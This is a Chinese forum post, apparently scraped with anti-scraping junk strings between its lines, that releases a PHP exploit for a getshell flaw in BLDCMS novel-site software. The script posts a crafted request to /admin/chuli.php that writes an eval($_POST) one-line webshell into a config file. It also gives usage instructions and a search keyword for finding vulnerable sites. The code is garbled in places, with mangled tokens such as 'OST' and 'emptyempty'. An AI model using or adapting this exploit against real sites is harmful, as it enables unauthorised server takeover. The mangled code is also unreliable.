BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

% E2 V3 l% A. j# \
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
# u6 v* ]- _: }' r3 ~' [2 V
既然都有人发了 我就把我之前写好的EXP放出来吧

, C; E4 p2 V2 w$ g+ y( j+ Wview source print?01.php;">
02.<!--?php
1 t7 |" a, a9 R03.echo "-------------------------------------------------------------------
  i# [. O6 j1 L) E4 d% T04.
! }# R6 W7 \' q! x2 I05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
" A6 _2 G' B1 I, F9 `% b) B) @12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
0 x  ^/ C* {* L6 B5 e$ b14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
  v. `4 h4 d. ~* J; n& L  ^16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
3 c3 F) _3 u- Z* M) M8 t18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
& v/ W' R3 q0 v3 ?2 z9 u24.{
) l" {8 Z4 q2 L, f9 u8 m* L25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
. M1 x9 X" q2 d( Y* F26.
27.al;
28.$length = strlen($fuckdata);
" P0 R  w1 K4 k- K9 [9 D29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
2 c$ e+ c, [4 B33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
2 f/ l0 p/ o3 ?  s, c4 x, v' g35.$header .= "Host:".$url."\r\n";
* `% V9 G/ V% B' ?# S. T36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
2 q8 X6 m9 }: |39.$header .= $fuckdata."\r\n\r\n";
8 P+ t0 U# w: D! \. z$ p40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
8 e) P$ r+ D8 U& y44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
9 h$ a/ Q. ?$ B4 V: w, x2 w3 s47.else
4 ~  W4 \. i. Y4 \; U2 _/ U" z48.{
% ~* K* D8 e/ Z- v/ p$ v+ y49.$receive = '';
$ R1 c" Z4 i  R50.while (!feof($fp)) {
* H' z( _6 l9 I  q- q51.$receive .= @fgets($fp, 1000);
3 c, Q( M0 N# f  a. ^2 ?0 R52.}
8 N" ^* a  P# r8 E53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
5 C1 q! U6 N. j+ f. {9 b' t56.GPC是否=off)";
57.}}
58.}
7 [& s; C& G0 Y! a8 m59.}
; v" W7 x6 F% k2 k60.getshell($url,$pass);
+ f  _- G" k! R. g) P" s61.?-->

/ I( U4 R# C2 I0 u& v# I3 {% q" ]* _5 I

by 数据流